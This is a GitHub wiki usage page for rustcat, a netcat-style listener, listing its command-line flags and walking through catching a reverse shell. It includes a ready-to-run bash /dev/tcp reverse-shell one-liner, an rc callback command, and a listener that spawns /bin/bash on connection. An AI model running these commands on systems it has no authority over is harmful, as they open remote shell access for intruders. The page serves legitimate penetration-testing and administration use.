-
Notifications
You must be signed in to change notification settings - Fork 65
Basic Usage
Robiot edited this page Sep 28, 2021
·
10 revisions
rc [FLAGS] [OPTIONS]
First, lets start a tcp listener with command history. rc -lHp 55660
.
Then we can start a reverse shell on the host machine, but first we will have to grab our local ip.
ip addr
Output:
1: wlp3s0: <stuff>
inet 192.168.1.150/24
For me my local ip is 192.168.1.150
Now you may run one of these commands on the host machine, you can also use any other revshell.
Replace "hostip" with the local ip we got from the command above and set the "port" to anything between 1 - 65535. Tho some ports may already be in use.
>> /bin/bash -c 'bash -i >& /dev/tcp/hostip/port 0>&1'
Or with rustcat
>> rc hostip port -r bash
Once you ran that on the host machine, you should have a reverse shell with history.
Show the help
rc --help
rc -lp 55660
-l : Listen Mode
-p : Only specify port, defaults ip to localhost
rc -lHp 55660
-l : Listen Mode
-p : Only specify port, defaults ip to localhost
-H : Enables command history
Listen to port 55660 on localhost with command history & command completion and start a tty on connection recieved:
rc -lHp 55660 -e "/bin/bash -i"
-l : Listen Mode
-p : Only specify port, defaults ip to localhost
-H : Enables command history
-e : Execute command when connection recieved
rc -lup 55660
-l : Listen Mode
-u : Udp Mode
-p : Only specify port, defaults ip to localhost
rc -l 192.168.1.10 55660
-l : Listen Mode
[ip] [port]
rc -p 55660 -r bash
-p : Only specify port, defaults ip to localhost
-r : Shell specification
rc 192.168.1.10 55660 -r bash
[ip] [port]
-r : Shell specification